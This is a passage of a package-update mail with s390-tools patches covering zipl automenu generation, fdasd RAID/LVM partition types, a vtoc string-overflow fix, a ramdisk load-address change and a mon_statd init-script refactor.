 		switch (opt) {
 		case 'd':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_dumpto,
 					  optarg);
 			break;
 		case 'D':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_dumptofs,
 					  optarg);
 			break;
 		case 'M':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_mvdump,
 					  optarg);
 #ifndef __s390x__
@@ -121,35 +132,49 @@ get_command_line(int argc, char* argv[], struct command_line* line)
 			break;
 		case 'i':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_image,
 					  optarg);
 			break;
 		case 'P':
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_parameters,
 					  optarg);
 			break;
 		case 'p':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_parmfile,
 					  optarg);
 			break;
 		case 'r':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_ramdisk,
 					  optarg);
 			break;
 		case 's':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_segment,
 					  optarg);
 			break;
 		case 't':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_target,
 					  optarg);
 			break;
 		case 'T':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_tape,
 					  optarg);
 			break;
@@ -190,6 +215,10 @@ get_command_line(int argc, char* argv[], struct command_line* line)
 		case 'f':
 			cmdline.force = 1;
 			break;
+		case 'x':
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
+			break;
 		case 1:
 			/* Non-option is interpreted as section name */
 			if (cmdline.section != NULL) {
@@ -214,6 +243,9 @@ get_command_line(int argc, char* argv[], struct command_line* line)
 	if (cmdline.help || cmdline.version) {
 		/* Always accept --help and --version */
 	} else if ((cmdline.menu != NULL) || (cmdline.section != NULL)) {
+		/* If either menu or section has been selected disable
+		   automenu generation */
+		cmdline.automenu = 0;
 		/* Config file mode */
 		if ((cmdline.menu != NULL) && (cmdline.section != NULL)) {
 			error_reason("Option 'menu' cannot be used when "
@@ -832,7 +864,14 @@ get_job_from_section_data(char* data[], struct job_data* job, char* section)
 		/* IPL job */
 		job->id = job_ipl;
 		/* Fill in name of bootmap directory */
-		job->bootmap_dir = misc_strdup(data[(int) scan_keyword_target]);
+		if (data[(int) scan_keyword_target] == NULL) {
+			if (default_target == NULL) {
+				error_text("Unable to find default section in your config file.");
+				break;
+			}
+			job->bootmap_dir = misc_strdup(default_target);
+		} else
+			job->bootmap_dir = misc_strdup(data[(int) scan_keyword_target]);
 		if (job->bootmap_dir == NULL)
 			return -1;
 		/* Fill in name and address of image file */
@@ -1102,6 +1141,8 @@ get_menu_job(struct scan_token* scan, char* menu, struct job_data* job)
 		if (temp_job == NULL)
 			return -1;
 		memset((void *) temp_job, 0, sizeof(struct job_data));
+		if (data[(int) scan_keyword_target] == NULL)
+			data[(int) scan_keyword_target] = misc_strdup(job->bootmap_dir);
 		rc = get_job_from_section_data(data, temp_job,
 					job->data.menu.entry[current].name);
 		if (rc) {
@@ -1150,6 +1191,7 @@ get_default_section(struct scan_token* scan, char** section, int* is_menu)
 	i = scan_find_section(scan, DEFAULTBOOT_SECTION,
 			      scan_id_section_heading, 0);
 	if (i<0) {
+		*section = NULL;
 		error_reason("No '" DEFAULTBOOT_SECTION "' section found and "
 			     "no section specified on command line");
 		return -1;
@@ -1169,6 +1211,7 @@ get_default_section(struct scan_token* scan, char** section, int* is_menu)
 		}
 	}
 	/* Should not happen */
+	*section = NULL;
 	error_reason("No default section specified");
 	return -1;
 }
@@ -1184,19 +1227,35 @@ get_section_job(struct scan_token* scan, char* section, struct job_data* job,
 {
 	char* data[SCAN_KEYWORD_NUM];
 	char* buffer;
+	char* default_section;
 	int rc;
 	int i;
 
+	rc = get_default_section(scan, &default_section, &i);
+	if (rc)
+		return rc;
 	if (section == NULL) {
-		rc = get_default_section(scan, &section, &i);
-		if (rc)
-			return rc;
+		section = default_section;
 		if (i) {
 			/* 'defaultmenu' was specified */
 			rc = get_menu_job(scan, section, job);
 			return rc;
 		}
 	}
+	else
+	{
+		char* name = NULL;
+
+		for (i = 0; (int) scan[i].id != 0; i++) {
+			if (scan[i].id == scan_id_section_heading) {
+				name = scan[i].content.section.name;
+			}
+			if (scan[i].id == scan_id_keyword_assignment &&
+			    scan[i].content.keyword.keyword == scan_keyword_target &&
+			    !strcmp(DEFAULTBOOT_SECTION, name))
+				default_target = misc_strdup(scan[i].content.keyword.value);
+		}
+	}
 	if (strcmp(section, DEFAULTBOOT_SECTION) == 0) {
 		error_reason("Special section '" DEFAULTBOOT_SECTION "' cannot "
 			     "be used as target section");
@@ -1268,10 +1327,118 @@ get_section_job(struct scan_token* scan, char* section, struct job_data* job,
 }
 
 
+/* Create a fake menu to simulate the old s390utils-1.1.7 multiboot
+ * behaviour. */
+static struct scan_token *
+create_fake_menu(struct scan_token *scan)
+{
+	int i, j, pos, numsec, size, defaultpos;
+	char *name;
+	char *target;
+	char *timeout;
+	char *seclist[1024];
+	char *defaultsection;
+	char buf[1024];
+	struct scan_token *tmp;
+
+	/* Count # of sections */
+	numsec = 0;
+	name = NULL;
+	target = NULL;
+	timeout = NULL;
+	for (i = 0; (int) scan[i].id != 0; i++) {
+		if (scan[i].id == scan_id_section_heading) {
+			name = scan[i].content.section.name;
+			if (strcmp(DEFAULTBOOT_SECTION, name))
+				seclist[numsec++] = name;
+		}
+		if (scan[i].id == scan_id_keyword_assignment &&
+		    (scan[i].content.keyword.keyword == scan_keyword_dumpto ||
+		     scan[i].content.keyword.keyword == scan_keyword_dumptofs)) {
+			numsec--;
+			continue;
+		}
+		if (scan[i].id == scan_id_keyword_assignment &&
+		    scan[i].content.keyword.keyword == scan_keyword_target &&
+		    !strcmp(DEFAULTBOOT_SECTION, name))
+			target = scan[i].content.keyword.value;
+
+		if (scan[i].id == scan_id_keyword_assignment &&
+		    scan[i].content.keyword.keyword == scan_keyword_timeout)
+			timeout = scan[i].content.keyword.value;
+	}
+	get_default_section(scan, &defaultsection, &j);
+
+	if (defaultsection == NULL) {
+		error_text("Unable to find default section in your config file.");
+		return NULL;
+	}
+
+	if (target == NULL) {
+		error_text("Keyword target is missing in default section.");
+		return NULL;
+	}
+
+	default_target = misc_strdup(target);
+
+	size = i+6+numsec;
+	tmp = (struct scan_token *) misc_malloc(size * sizeof(struct scan_token));
+	if (tmp == NULL) {
+		error_text("Couldn't allocate memory for menu entries");
+		return NULL;
+	}
+
+	memset(tmp, 0, size * sizeof(struct scan_token));
+	memcpy(tmp, scan, i * sizeof(struct scan_token));
+	free(scan);
+	scan = tmp;
+
+	defaultpos = 0;
+	for (j = 0; j < numsec; j++) {
+		if (!strcmp(defaultsection, seclist[j]))
+			defaultpos = j+1;
+	}
+
+	snprintf(buf, 1024, "%d", defaultpos);
+
+	scan[i].id = scan_id_menu_heading;
+	scan[i].line = i;
+	scan[i++].content.menu.name = misc_strdup("rh-automatic-menu");
+	scan[i].id = scan_id_keyword_assignment;
+	scan[i].line = i;
+	scan[i].content.keyword.keyword = scan_keyword_target;
+	scan[i++].content.keyword.value = misc_strdup(target);
+	scan[i].id = scan_id_keyword_assignment;
+	scan[i].line = i;
+	scan[i].content.keyword.keyword = scan_keyword_default;
+	scan[i++].content.keyword.value = misc_strdup(buf);
+	scan[i].id = scan_id_keyword_assignment;
+	scan[i].line = i;
+	scan[i].content.keyword.keyword = scan_keyword_prompt;
+	scan[i++].content.keyword.value = misc_strdup("1");
+	scan[i].id = scan_id_keyword_assignment;
+	scan[i].line = i;
+	scan[i].content.keyword.keyword = scan_keyword_timeout;
+	if (timeout)
+		scan[i++].content.keyword.value = misc_strdup(timeout);
+	else
+		scan[i++].content.keyword.value = misc_strdup("15");
+
+	pos = i;
+	for (i = 0; i<numsec; i++) {
+		scan[pos].id = scan_id_number_assignment;
+		scan[pos].line = pos;
+		scan[pos].content.number.number = i+1;
+		scan[pos++].content.number.value = misc_strdup(seclist[i]);
+	}
+
+	return scan;
+}
+
 static int
 get_job_from_config_file(struct command_line* cmdline, struct job_data* job)
 {
-	struct scan_token* scan;
+	struct scan_token* scan, *nscan;
 	char* filename;
 	char* source;
 	int rc;
@@ -1303,9 +1470,22 @@ get_job_from_config_file(struct command_line* cmdline, struct job_data* job)
 		scan_free(scan);
 		return rc;
 	}
+
+	if (cmdline->automenu) {
+		nscan = create_fake_menu(scan);
+		if (nscan == NULL) {
+			scan_free(scan);
+			return -1;
+		}
+		scan = nscan;
+	}
+
 	/* Get job from config file data */
-	if (cmdline->menu != NULL)
+	if (cmdline->menu != NULL || cmdline->automenu) {
+		if (cmdline->automenu)
+			cmdline->menu = misc_strdup("rh-automatic-menu");
 		rc = get_menu_job(scan, cmdline->menu, job);
+	}
 	else {
 		rc = get_section_job(scan, cmdline->section, job,
 				cmdline->data[(int) scan_keyword_parameters]);
diff --git a/zipl/src/scan.c b/zipl/src/scan.c
index 9948092..caca3cf 100644
--- a/zipl/src/scan.c
+++ b/zipl/src/scan.c
@@ -33,9 +33,9 @@ enum scan_key_state scan_key_table[SCAN_SECTION_NUM][SCAN_KEYWORD_NUM] = {
  *			     rs                                 enu
  */
 /* defaultboot	*/
-	{opt, inv, inv, inv, inv, inv, inv, inv, inv, inv, inv, opt, inv, inv},
+	{opt, inv, inv, inv, inv, inv, inv, inv, req, inv, opt, opt, inv, inv},
 /* ipl		*/
-	{inv, inv, inv, req, opt, opt, opt, inv, req, inv, inv, inv, inv, inv},
+	{inv, inv, inv, req, opt, opt, opt, inv, opt, inv, inv, inv, inv, inv},
 /* segment load */
 	{inv, inv, inv, inv, inv, inv, inv, req, req, inv, inv, inv, inv, inv},
 /* part dump	*/
diff --git a/zipl/src/zipl.c b/zipl/src/zipl.c
index 9cb764c..4d9fd36 100644
--- a/zipl/src/zipl.c
+++ b/zipl/src/zipl.c
@@ -73,6 +73,7 @@ static const char* usage_text[] = {
 "-n, --noninteractive            Answer all confirmation questions with 'yes'",
 "-V, --verbose                   Provide more verbose output",
 "-a, --add-files                 Add all referenced files to bootmap file",
+"-x, --no-automenu               Don't autogenerate multiboot menu",
 "    --dry-run                   Simulate run but don't modify IPL records"
 };
 
-- 
1.6.3.3


0003-s390-tools-1.8.1-fdasd-su.patch:
 fdasd.c |   11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

--- NEW FILE 0003-s390-tools-1.8.1-fdasd-su.patch ---
>From f8acd63e169cdec39c47ac0d8c1b98e115cf24a1 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 23 Apr 2009 11:46:01 +0200
Subject: [PATCH 3/9] s390-tools-1.8.1-fdasd-su

---
 fdasd/fdasd.c |   10 ++++++----
 1 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/fdasd/fdasd.c b/fdasd/fdasd.c
index aa16659..3a54968 100644
--- a/fdasd/fdasd.c
+++ b/fdasd/fdasd.c
@@ -2009,10 +2009,12 @@ fdasd_get_geometry (fdasd_anchor_t *anc)
 	if (anc->verbose) printf("disk type check     : ok\n");
 
         if (dasd_info.FBA_layout != 0) {
-                snprintf(err_str, ERROR_STRING_SIZE, 
-			"%s is not formatted with z/OS compatible "
-			"disk layout!", options.device);
-                fdasd_error(anc, wrong_disk_format, err_str);
+                if(!anc->silent) {
+                    snprintf(err_str, ERROR_STRING_SIZE,
+			    "%s is not formatted with z/OS compatible "
+			    "disk layout!", options.device);
+                    fdasd_error(anc, wrong_disk_format, err_str);
+                }
         }      
 
 	if (anc->verbose) printf("disk layout check   : ok\n");
-- 
1.6.3.3


0004-s390-tools-1.8.1-fdasd-raid-lvm.patch:
 fdasd.c |   66 +++++++++++++++++++++++++++++++++++++++++++++++++++-------------
 1 file changed, 53 insertions(+), 13 deletions(-)

--- NEW FILE 0004-s390-tools-1.8.1-fdasd-raid-lvm.patch ---
>From 35298f5f9512835071b8c08e843731bbfbb15b7e Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 23 Apr 2009 11:46:16 +0200
Subject: [PATCH 4/9] s390-tools-1.8.1-fdasd-raid-lvm

---
 fdasd/fdasd.c |   65 ++++++++++++++++++++++++++++++++++++++++++++++----------
 1 files changed, 53 insertions(+), 12 deletions(-)

diff --git a/fdasd/fdasd.c b/fdasd/fdasd.c
index 3a54968..a526d7f 100644
--- a/fdasd/fdasd.c
+++ b/fdasd/fdasd.c
@@ -258,10 +258,10 @@ fdasd_error(fdasd_anchor_t *anc, enum fdasd_failure why, char *str)
 static int
 read_line(void) 
 {
-	bzero(line_buffer, LINE_LENGTH);
 	line_ptr = line_buffer;
         if (!fgets(line_buffer, LINE_LENGTH, stdin))
 		return 0;
+	line_buffer[LINE_LENGTH-1] = 0;
 	while (*line_ptr && !isgraph(*line_ptr))
 		line_ptr++;
 	return *line_ptr;
@@ -312,6 +312,10 @@ fdasd_partition_type (char *str)
 		strcpy(str, "Linux native");
 	else if (strncmp("SWAP  ", str, 6) == 0)
 		strcpy(str, "Linux swap");
+	else if (strncmp("RAID  ", str, 6) == 0)
+		strcpy(str, "Linux Raid");
+	else if (strncmp("LVM   ", str, 6) == 0)
+		strcpy(str, "Linux LVM");
 	else
 		strcpy(str, "unknown");
 
@@ -1122,14 +1126,24 @@ fdasd_write_vtoc_labels (fdasd_anchor_t *anc)
 			strncpy(c1, s2, 31);
 		}
 		else {
+			char str[20];
 			char *tmp = strstr(ch, "SWAP");
+			char *tmp1 = strstr(ch, "RAID");
 
 			/* create a new data set name */
 			while (getpos(anc, k) > -1)
 				k++;
 
 			setpos(anc, k, i-1);
-			
+
+			strncpy(s2, ch, 44);
+			s2[44]=0;
+			vtoc_ebcdic_dec(s2, s2, 44);
+			c2 = strstr(s2, "PART");
+			if (c2 != NULL) strncpy(str, c2+=9, 6);
+			str[6] = '\0';
+			fdasd_partition_type(str);
+
 			strncpy(ch, "LINUX.V               "
 				"                      ", 44);
 
@@ -1145,10 +1159,21 @@ fdasd_write_vtoc_labels (fdasd_anchor_t *anc)
 			strncpy(c1, dsno, 4);
 
 			c1 += 4;
-			if (tmp)
-				strncpy(c1, ".SWAP", 5);
-			else
-				strncpy(c1, ".NATIVE", 7);
+			if (tmp || tmp1) {
+				if (tmp)
+					strncpy(c1, ".SWAP", 5);
+				if (tmp1)
+					strncpy(c1, ".RAID", 5);
+			} else {
+				if (strcmp("unknown", str) == 0) {
+					strncpy(c1, ".NATIVE", 7);
+				}
+				else {
+					strncpy(c1, ".", 1);
+					strncpy(c1+1, c2, 6);
+				}
+			}
+
 		}
 		vtoc_ebcdic_enc(ch, ch, 44);
 		if (anc->verbose) printf("%2x ", part_info->f1->DS1FMTID);
@@ -1433,9 +1458,10 @@ fdasd_change_part_type (fdasd_anchor_t *anc)
 
 	printf("current partition type is: %s\n\n", fdasd_partition_type(str));
 	printf("   1  Linux native\n" \
-	       "   2  Linux swap\n\n");
+	       "   2  Linux swap\n" \
+	       "   3  Linux raid\n\n");
 	part_type = 0;
-	while ((part_type < 1) || (part_type > 2)) {
+	while ((part_type < 1) || (part_type > 3)) {
         	while (!isdigit(part_type = 
 				read_char("new partition type: ")));
         	part_type -= 48;
@@ -1448,6 +1474,9 @@ fdasd_change_part_type (fdasd_anchor_t *anc)
         case 2:
 		strncpy(str, "SWAP  ", 6);
                 break;
+        case 3:
+		strncpy(str, "RAID  ", 6);
+                break;
         default:
                 printf("'%d' is not supported!\n", part_type);
         }
@@ -1625,7 +1654,7 @@ fdasd_process_invalid_vtoc(fdasd_anchor_t *anc)
 static void
 fdasd_process_valid_vtoc(fdasd_anchor_t *anc, unsigned long blk)
 {
-	int f1_counter = 0, f7_counter = 0, f5_counter = 0;
+	int f1_counter = 0, f7_counter = 0, f5_counter = 0, oldfmt = 0;
 	int i, part_no, f1_size = sizeof(format1_label_t);
 	partition_info_t *part_info = anc->first;
 	format1_label_t f1_label;
@@ -1677,14 +1706,26 @@ fdasd_process_valid_vtoc(fdasd_anchor_t *anc, unsigned long blk)
 			vtoc_ebcdic_enc(part_info->f1->DS1DSNAM,
 					part_info->f1->DS1DSNAM, 44);
 
-			if ((part_no < 0) || (part_no >= USABLE_PARTITIONS))
+			/* this dasd has data set names 0000-0002
+                           but we use now 0001-0003 */
+                        if (part_no == -1)
+                                oldfmt++;
+
+			if (((oldfmt == 0) && (part_no < 0))
+			    || (part_no >= USABLE_PARTITIONS))
 				printf("WARNING: partition number (%i) found "
 				       "in data set name of an existing "
 				       "partition\ndoes not match range of "
 				       "possible partition numbers (1-%d)\n\n",
 				       part_no + 1, USABLE_PARTITIONS);
-			else
-				setpos(anc, part_no, f1_counter);
+			else {
+				if (oldfmt) /* correct +1 */ {
+					setpos(anc, part_no+1, f1_counter);
+					printf("Correcting f1 header number!\n");
+				}
+				else
+					setpos(anc, part_no, f1_counter);
+			}
 
 			part_info = part_info->next;
 			f1_counter++;
-- 
1.6.3.3


0005-don-t-create-automenu-when-default-menu-exists.patch:
 job.c |   26 +++++++++++++++-----------
 1 file changed, 15 insertions(+), 11 deletions(-)

--- NEW FILE 0005-don-t-create-automenu-when-default-menu-exists.patch ---
>From 1efcfe8d7ad20f7a3f584628375da60682b4579c Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 23 Apr 2009 15:28:06 +0200
Subject: [PATCH 5/9] don't create automenu when default menu exists

---
 zipl/src/job.c |   25 +++++++++++++++----------
 1 files changed, 15 insertions(+), 10 deletions(-)

diff --git a/zipl/src/job.c b/zipl/src/job.c
index 6a526e4..89c8c23 100644
--- a/zipl/src/job.c
+++ b/zipl/src/job.c
@@ -1441,6 +1441,8 @@ get_job_from_config_file(struct command_line* cmdline, struct job_data* job)
 	struct scan_token* scan, *nscan;
 	char* filename;
 	char* source;
+	char* default_section;
+	int is_menu;
 	int rc;
 
 	/* Read configuration file */
@@ -1470,20 +1472,23 @@ get_job_from_config_file(struct command_line* cmdline, struct job_data* job)
 		scan_free(scan);
 		return rc;
 	}
-
-	if (cmdline->automenu) {
-		nscan = create_fake_menu(scan);
-		if (nscan == NULL) {
-			scan_free(scan);
-			return -1;
-		}
-		scan = nscan;
-	}
+	
+	/* disable automenu iff default menu exists */
+	rc = get_default_section(scan, &default_section, &is_menu);
+	if (!rc && is_menu)
+		cmdline->automenu = 0;
 
 	/* Get job from config file data */
 	if (cmdline->menu != NULL || cmdline->automenu) {
-		if (cmdline->automenu)
+		if (cmdline->automenu) {
+			nscan = create_fake_menu(scan);
+			if (nscan == NULL) {
+				scan_free(scan);
+				return -1;
+			}
+			scan = nscan;
 			cmdline->menu = misc_strdup("rh-automatic-menu");
+		}
 		rc = get_menu_job(scan, cmdline->menu, job);
 	}
 	else {
-- 
1.6.3.3


0006-s390-tools-1.8.1-zipl-kdump-man.patch:
 zipl.8 |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE 0006-s390-tools-1.8.1-zipl-kdump-man.patch ---
>From 894de5382653e4389dc8490f2ee4a2a9c59eb86d Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Fri, 19 Jun 2009 10:01:30 +0200
Subject: [PATCH 6/9] s390-tools-1.8.1-zipl-kdump-man

Description: Add kdump kernel installation instruction to zipl man page.
Symptom:     User wants to prepare SCSI disk for dump, but has not installed
             the kdump kernel rpm.
Problem:     The installation of the kdump kernel rpm is prereq for preparing
             a SCSI dump disk for dump.
Solution:    Document that in the zipl man page.
---
 zipl/man/zipl.8 |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/zipl/man/zipl.8 b/zipl/man/zipl.8
index 6ebf240..6df6026 100644
--- a/zipl/man/zipl.8
+++ b/zipl/man/zipl.8
@@ -176,6 +176,8 @@ will be incomplete.
 It is not possible to specify both this parameter and the name of a menu
 or configuration section on the command line at the same time.
 
+.B Note that before using this option the "kernel-kdump" rpm has to be
+.B installed.
 .TP
 .BR "\-M <DUMPLIST[,SIZE]>" " or " "--mvdump=<DUMPLIST[,SIZE]>"
 Install a multi-volume dump record on each device associated with one of the
-- 
1.6.3.3


0007-s390-tools-1.8.1-lszfcp-perf.patch:
 lszfcp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0007-s390-tools-1.8.1-lszfcp-perf.patch ---
>From 80e1e88e108b774c7aa7c201326f1a92cf1b7e35 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Wed, 26 Aug 2009 14:21:14 +0200
Subject: [PATCH 7/9] s390-tools-1.8.1-lszfcp-perf

---
 zconf/lszfcp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/zconf/lszfcp b/zconf/lszfcp
index d0bf84f..a872d05 100755
--- a/zconf/lszfcp
+++ b/zconf/lszfcp
@@ -233,7 +233,7 @@ show_devices()
 	# Differentiate old and new sysfs layout
 	if $FC_CLASS; then
 		SCSI_DEVICE_LIST=`ls -d \
-			$SYSFS/devices/css0/*/*/host*/rport*/target*/*/ \
+			$SYSFS/bus/ccw/drivers/zfcp/*/host*/rport*/target*/*/ \
 		       	2>/dev/null |grep -P '\d+:\d+:\d+:\d+'`
 	else
 		SCSI_DEVICE_LIST=`ls -d $SYSFS/devices/css0/*/*/host*/*/`
-- 
1.6.3.3


0008-fix-string-overflow-in-vtoc_volume_label_init.patch:
 vtoc.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0008-fix-string-overflow-in-vtoc_volume_label_init.patch ---
>From d0c06736586d8f85f2e7c64291f3f289c12a0caa Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 24 Sep 2009 09:12:39 +0200
Subject: [PATCH 8/9] fix string overflow in vtoc_volume_label_init

Originaly it tries to copy a 84B string into 4B field and reset also
the other fields thru the overflow. This doesn't work with recent GCC
and the security-related compile flags that are used in Fedora.
---
 libvtoc/vtoc.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/libvtoc/vtoc.c b/libvtoc/vtoc.c
index 62a02a0..cebd5a4 100644
--- a/libvtoc/vtoc.c
+++ b/libvtoc/vtoc.c
@@ -326,7 +326,7 @@ void vtoc_volume_label_init (volume_label_t *vlabel)
 {
 	sprintf(buffer, "%84s", " ");
 	vtoc_ebcdic_enc(buffer, buffer, 84);	
-	strncpy(vlabel->volkey, buffer, 84);
+	memcpy(vlabel, buffer, 84);
 }
 
 
-- 
1.6.3.3


0009-change-default-load-address-for-ramdisk.patch:
 zipl.h |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0009-change-default-load-address-for-ramdisk.patch ---
>From 1697d4f40be133c78cd09fb0af14af22e8c6219e Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Sun, 4 Oct 2009 17:46:16 +0200
Subject: [PATCH 9/9] change default load address for ramdisk

The default load address for the initial ramdisk is changed from
0x800000 to 0x2000000 to allow larger kernels to be loaded.
---
 zipl/include/zipl.h |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/zipl/include/zipl.h b/zipl/include/zipl.h
index 1f70e48..d2d26dd 100644
--- a/zipl/include/zipl.h
+++ b/zipl/include/zipl.h
@@ -22,7 +22,7 @@
 #define DEFAULT_PARMFILE_ADDRESS	0x1000LL
 #define DEFAULT_STAGE3_ADDRESS		0xa000LL
 #define DEFAULT_IMAGE_ADDRESS		0x10000LL
-#define DEFAULT_RAMDISK_ADDRESS 	0x800000LL
+#define DEFAULT_RAMDISK_ADDRESS 	0x2000000LL
 
 #define PSW_ADDRESS_MASK		0x000000007fffffffLL
 #define PSW_LOAD			0x0008000080000000LL
-- 
1.6.3.3


0010-improve-mon_statd-init-script.patch:
 mon_statd |  114 ++++++++++++++++++++++++++++++++++----------------------------
 1 file changed, 64 insertions(+), 50 deletions(-)

--- NEW FILE 0010-improve-mon_statd-init-script.patch ---
>From 7cd1f2254e27cae8e061d1b42fa6c78bc10a5f39 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 8 Oct 2009 10:29:23 +0200
Subject: [PATCH] improve mon_statd init script

- stop: do not print error messages if a daemon is not configured
- start: do not load module if no daemon is configured
- remove useless newlines
---
 etc/init.d/mon_statd |  113 ++++++++++++++++++++++++++++----------------------
 1 files changed, 64 insertions(+), 49 deletions(-)

diff --git a/etc/init.d/mon_statd b/etc/init.d/mon_statd
index 4d84b5b..60bcf00 100755
--- a/etc/init.d/mon_statd
+++ b/etc/init.d/mon_statd
@@ -22,7 +22,6 @@ PROCD_PATH=/usr/sbin/$PROCD
 CONFIG_FILE=/etc/sysconfig/$DAEMON
 FSSTATD_PID_FILE=/var/run/$FSSTATD.pid
 PROCD_PID_FILE=/var/run/$PROCD.pid
-RETVAL=0
 
 # source function library
 . /lib/lsb/init-functions
@@ -32,68 +31,81 @@ if [ -f $CONFIG_FILE ]; then
 	. $CONFIG_FILE
 fi
 
-start()
+load_kernel_module()
 {
 	if [ ! -e /dev/monwriter ]; then
 		echo "Loading monwriter module..."
 		modprobe monwriter 2>&1
-		if [ "$?" -ne 0 ]; then
+		if [ $? -ne 0 ]; then
+			exit 1
+		fi
+		udevsettle
+		if [ $? -ne 0 ]; then
 			exit 1
 		fi
-		while [ ! -e /dev/monwriter ]; do
-			sleep 0
-		done
 	fi
+}
 
-	if [ ! -f $FSSTATD_PID_FILE -a "$FSSTAT" = "yes" ]; then
-		echo -n $"Starting $FSSTATD:"
-		$FSSTATD_PATH -i $FSSTAT_INTERVAL
-		if [ $? == 0 ]; then
+start_daemon()
+{
+	local daemon_name=$1
+	local daemon_interval=$2
+	local daemon_pid_file=$3
+	local daemon_path=$4
+
+	if [ ! -f $daemon_pid_file ]; then
+		load_kernel_module
+		echo -n "Starting $daemon_name:"
+		$daemon_path -i $daemon_interval
+		if [ $? -eq 0 ]; then
 			touch /var/lock/subsys/mon_statd
 			log_success_msg
 		else
 			log_failure_msg
 		fi
-	elif [ "$FSSTAT" = "yes" ]; then
-		echo "$FSSTATD (pid $(cat $FSSTATD_PID_FILE)) is already running..."
+	else
+		echo "$daemon_name (pid $(cat $daemon_pid_file)) is already running..."
+	fi
+}
+	
+start()
+{
+	if [ "$FSSTAT" = "yes" ]; then
+		start_daemon $FSSTATD $FSSTAT_INTERVAL $FSSTATD_PID_FILE \
+			$FSSTATD_PATH
 	fi
 
-	if [ ! -f $PROCD_PID_FILE -a "$PROC" = "yes" ]; then
-		echo -n $"Starting $PROCD:"
-		$PROCD_PATH -i $PROC_INTERVAL
-		if [ $? == 0 ]; then
-			touch /var/lock/subsys/mon_statd
-			log_success_msg
-		else
-			log_failure_msg
-		fi
-	elif [ "$PROC" = "yes" ]; then
-		echo "$PROCD (pid $(cat $PROCD_PID_FILE)) is already running..."
+	if [ "$PROC" = "yes" ]; then
+		start_daemon $PROCD $PROC_INTERVAL $PROCD_PID_FILE \
+			$PROCD_PATH
 	fi
-	echo
 }
 
-stop()
+stop_daemon()
 {
-	echo -n $"Stopping $FSSTATD:"
-	if [ -f $FSSTATD_PID_FILE ]; then
-		killproc $FSSTATD_PATH -TERM
+	local daemon_name=$1
+	local daemon_pid_file=$2
+	local daemon_path=$3
+
+	echo -n "Stopping $daemon_name:"
+	if [ -f $daemon_pid_file ]; then
+		killproc $daemon_path -TERM
 		log_success_msg
-		rm -f $FSSTATD_PID_FILE
+		rm -f $daemon_pid_file
 	else
 		log_failure_msg
 	fi
+}
 
-	echo -n $"Stopping $PROCD:"
-	if [ -f $PROCD_PID_FILE ]; then
-		killproc $PROCD_PATH -TERM
-		log_success_msg
-		rm -f $PROCD_PID_FILE
-	else
-		log_failure_msg
+stop()
+{
+	if [ "$FSSTAT" = "yes" ]; then
+		stop_daemon $FSSTATD $FSSTATD_PID_FILE $FSSTATD_PATH
+	fi
+	if [ "$PROC" = "yes" ]; then
+		stop_daemon $PROCD $PROCD_PID_FILE $PROCD_PATH
 	fi
 	rm -f /var/lock/subsys/mon_statd
-	echo
 }
 
 restart() {
@@ -101,20 +113,23 @@ restart() {
 	start
 }
 
-status()
+status_daemon()
 {
-	if [ ! -f $FSSTATD_PID_FILE ]; then
-		echo "$FSSTATD is not running."
-	else
-		echo "$FSSTATD (pid $(cat $FSSTATD_PID_FILE), interval: $FSSTAT_INTERVAL) is running."
-	fi
+	local daemon_name=$1
+	local daemon_pid_file=$2
+	local daemon_interval=$3
 
-	if [ ! -f $PROCD_PID_FILE ]; then
-		echo "$PROCD is not running."
+	if [ ! -f $daemon_pid_file ]; then
+		echo "$daemon_name is not running."
 	else
-		echo "$PROCD (pid $(cat $PROCD_PID_FILE), interval: $PROC_INTERVAL) is running."
+		echo "$daemon_name (pid $(cat $daemon_pid_file), interval: $daemon_interval) is running."
